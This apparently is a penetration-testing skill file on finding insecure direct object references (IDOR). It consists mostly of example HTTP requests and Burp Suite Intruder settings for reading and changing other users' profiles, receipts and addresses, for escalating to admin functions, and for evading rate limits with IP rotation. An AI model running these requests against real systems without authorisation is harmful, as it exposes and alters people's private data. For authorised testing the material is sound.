sickn33/antigravity-awesome-skills/idor-testing

# Original URL (authenticated as User A)
example.com/user/profile?id=2023
 
# Manipulation attempt (accessing User B's data)
example.com/user/profile?id=2022

# Original URL (User A's receipt)
example.com/static/receipt/205.pdf
 
# Manipulation attempt (User B's receipt)
example.com/static/receipt/200.pdf

Account 1: "attacker" - Primary testing account
Account 2: "victim" - Account whose data we attempt to access

# Access user ID endpoint (if available)
GET /api/user-id/
 
# Note ID patterns:
# - Sequential integers (1, 2, 3...)
# - Auto-incremented values
# - Predictable patterns

# Step 1: Capture original authenticated request
GET /api/user/profile?id=1001 HTTP/1.1
Cookie: session=attacker_session
 
# Step 2: Modify ID to target another user
GET /api/user/profile?id=1000 HTTP/1.1
Cookie: session=attacker_session
 
# Vulnerable if: Returns victim's data with attacker's session

# Original POST request
POST /api/address/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
 
{"id": 5, "userId": 1001, "address": "123 Attacker St"}
 
# Modified request targeting victim
{"id": 5, "userId": 1000, "address": "123 Attacker St"}

# Original GET request may be protected
GET /api/admin/users/1000 → 403 Forbidden
 
# Try alternative methods
POST /api/admin/users/1000 → 200 OK (verify protected data/action and policy)
PUT /api/admin/users/1000 → 200 OK (verify protected data/action and policy)

1. Configure browser proxy through Burp Suite
2. Login as "attacker" user
3. Navigate to profile/data page
4. Enable Intercept in Proxy tab
5. Capture request with user ID
6. Modify ID to victim's ID
7. Forward request
8. Observe response for victim's data

1. Send request to Intruder (Ctrl+I)
2. Clear all payload positions
3. Select ID parameter as payload position
4. Configure attack type: Sniper
5. Payload settings:
   - Type: Numbers
   - Range: 1 to 10000
   - Step: 1
6. Start attack
7. Analyze responses for 200 status codes

# When same ID appears in multiple locations
PUT /api/addresses/§5§/update HTTP/1.1
 
{"id": §5§, "userId": 3}
 
Attack Type: Battering Ram
Payload: Numbers 1-1000

/api/user/{id}
/api/profile/{id}
/api/order/{id}
/api/invoice/{id}
/api/document/{id}
/api/message/{id}
/api/address/{id}/update
/api/address/{id}/delete

/download/invoice_{id}.pdf
/static/receipts/{id}.pdf
/uploads/documents/{filename}
/files/reports/report_{date}_{id}.xlsx

?userId=123
?orderId=456
?documentId=789
?file=report_123.pdf
?account=user@email.com

# Login as attacker (userId=1001)
# Navigate to profile page
 
# Original request
GET /api/profile?id=1001 HTTP/1.1
Cookie: session=abc123
 
# Response: Attacker's profile data
 
# Modified request (targeting victim userId=1000)
GET /api/profile?id=1000 HTTP/1.1
Cookie: session=abc123
 
# Vulnerable Response: Victim's profile data returned!

# Intercept address update request
PUT /api/addresses/5/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
 
{
  "id": 5,
  "userId": 1001,
  "street": "123 Main St",
  "city": "Test City"
}
 
# Modify userId to victim's ID
{
  "id": 5,
  "userId": 1000,  # Changed from 1001
  "street": "Hacked Address",
  "city": "Exploit City"
}
 
# Verify actual state in the second controlled account; 200 alone is not proof.

# Download own receipt
GET /api/download/5 HTTP/1.1
Cookie: session=attacker_session
 
# Response: PDF of attacker's receipt (order #5)
 
# Attempt to access other receipts
GET /api/download/3 HTTP/1.1
Cookie: session=attacker_session
 
# Vulnerable Response: PDF of victim's receipt (order #3)!

# Configure Intruder attack
Target: PUT /api/addresses/§1§/update
Payload Position: Address ID in URL and body
 
Attack Configuration:
- Type: Battering Ram
- Payload: Numbers 0-20, Step 1
 
Body Template:
{
  "id": §1§,
  "userId": 3
}
 
# Analyze results:
# - 200 responses require controlled-account state verification
# - Check victim's account for new addresses

# Step 1: Enumerate user roles
GET /api/user/1 → {"role": "user", "id": 1}
GET /api/user/2 → {"role": "user", "id": 2}
GET /api/user/3 → {"role": "admin", "id": 3}
 
# Step 2: Access admin functions with discovered ID
GET /api/admin/dashboard?userId=3 HTTP/1.1
Cookie: session=regular_user_session
 
# If accessible: Vertical privilege escalation achieved

# Try alternative attack vectors:
1. HTTP method switching (GET → POST → PUT)
2. Add X-Original-URL or X-Rewrite-URL headers
3. Try parameter pollution: ?id=1001&id=1000
4. URL encoding variations: %31%30%30%30 for "1000"
5. Case variations for string IDs

# UUID discovery techniques:
1. Check response bodies for leaked UUIDs
2. Search JavaScript files for hardcoded UUIDs
3. Check API responses that list multiple objects
4. Look for UUID patterns in error messages
5. Try UUID v1 (time-based) prediction if applicable

# Advanced bypass attempts:
1. Test for IDOR in unauthenticated endpoints
2. Check password reset/email verification flows
3. Look for IDOR in file upload/download
4. Test API versioning: /api/v1/ vs /api/v2/
5. Check mobile API endpoints (often less protected)

# Bypass techniques:
1. Add delays between requests (Burp Intruder throttle)
2. Rotate IP addresses (proxy chains)
3. Target specific high-value IDs instead of full range
4. Use different endpoints for same resources
5. Test during off-peak hours